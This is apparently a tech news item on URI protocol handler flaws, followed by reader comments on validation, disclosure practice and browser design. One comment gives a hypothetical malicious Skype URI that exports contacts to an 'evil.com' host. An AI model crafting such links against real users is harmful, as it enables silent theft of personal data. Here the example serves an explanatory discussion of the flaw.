New URI Browser Flaws Worse Than First Thought

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

News?

[Opportunist]

"It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."

That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com [gentoo.org]).

The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.

Responsible application launching

[JosefAssad]

Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

Re:Oh my

[Opportunist]

I have a working example here on my desk. The problem is it's so effing trivial that it's not even funny. Unlike buffer overflows or other exploits that at least require some kind of understanding, this requires a trained monkey who can use a keyboard.

I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.

Re:What is the OS coverage?

[IBBoard]

Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript [example.com] --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

Re:Web 2.0 developers have betrayed us all

[DrSkwid]

> AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.

Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.h tml [w3.org]
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,

HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.

These flaws don't need XmlHttprequest, is also likely to be a vector

Custom prefixes... blah!

[billcopc]

This is just an expansion (or rehash) of the exploit using custom "protocol" prefixes (the http:/// [http] part). Now I must be on different intertubes than the rest of y'all, because I hardly ever (read: never) see anything but http, ftp and mailto in the links I use, and I build both public (as in gimmicky) web sites and business apps for a living. Anything else should be handled by a browser PLUGIN, not some creaky registry hack that can spawn any random process. The difference should be obvious: you can have a thousand executables on a PC, but probably less than a dozen browser plugins, making it a lot easier to spot suspicious bits.

Why do we need so many bizarre launchers anyway ? Do people really click funky URIs in IE7 to launch the copy of Firefox that's already installed on their system ? How about a desktop icon, you stupid shits!

Re:Web 2.0 developers have betrayed us all

[Anonymous Coward]

No, there is a connection to AJAX: The promise of Web 2.0 is to turn the web browser into an application host. It used to be a browser for information provided by others. It has become a framework for entering and organizing personal information. The security model of a web browser is very fragile and not at all adequate for an application which handles personal data. Everybody flogged Microsoft for trying to merge the desktop and the browser, because that creates an unmanageable mess. Now the web 2.0 crowd goes down the same path, only they don't store the data locally but put it on servers, which makes securing the data even more complicated. This particular bug does not exploit an AJAX bug, but it became possible only because the browser has become the central application on many desktops and users and developers alike found it necessary to integrate it with other applications that handle personal information. It got integrated in ways that are not acceptable for an application which has a network connection.

Re:Oh my

[CaymanIslandCarpedie]

These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.

"announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.

"announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.

There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.

I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.

I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find ;-)

Re:FTA:

[a.d.trick]

Nobody does - it was a stupid thing to include in the first place

First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.

It's not stupid.

[argent]

The problem is that there's no way on Windows or OSX to register a protocol handler for shell programs (Finder, Windows Explorer, the KDE file manager) or applications internal use (help: on both Windows and OSX) without it also being available to the web browsers. This means that any application that isn't designed to deal with untrusted input that the browser developer hasn't yet explicitly blocked is a point of entry.

Exploits using this approach have been found via IE since 1997, and via Safari since 2004.